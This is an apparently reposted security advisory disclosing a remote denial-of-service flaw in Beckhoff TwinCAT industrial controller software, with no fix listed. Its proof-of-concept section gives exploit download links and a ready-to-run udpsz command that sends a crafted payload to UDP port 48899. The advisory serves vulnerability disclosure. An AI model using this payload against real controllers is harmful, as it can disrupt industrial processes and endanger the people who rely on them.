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Beckhoff TwinCAT <= 2.11.0.2004 Denial of Service

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
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Beckhoff TwinCAT <= 2.11.0.2004 Denial of Service caused by invalid read acces

Code

                                                #######################################################################

                             Luigi Auriemma

Application:  Beckhoff TwinCAT
              http://www.beckhoff.de/twincat/
Versions:     &#60;= 2.11.0.2004
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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===============
1) Introduction
===============


From vendor&#39;s website:
&#34;The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station.&#34;


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======
2) Bug
======


Denial of Service caused by an invalid read access.


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===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/17835.zip

  udpsz -C &#34;03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27&#34; -b 0xff SERVER 48899 0x5fe


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======
4) Fix
======


No fix.


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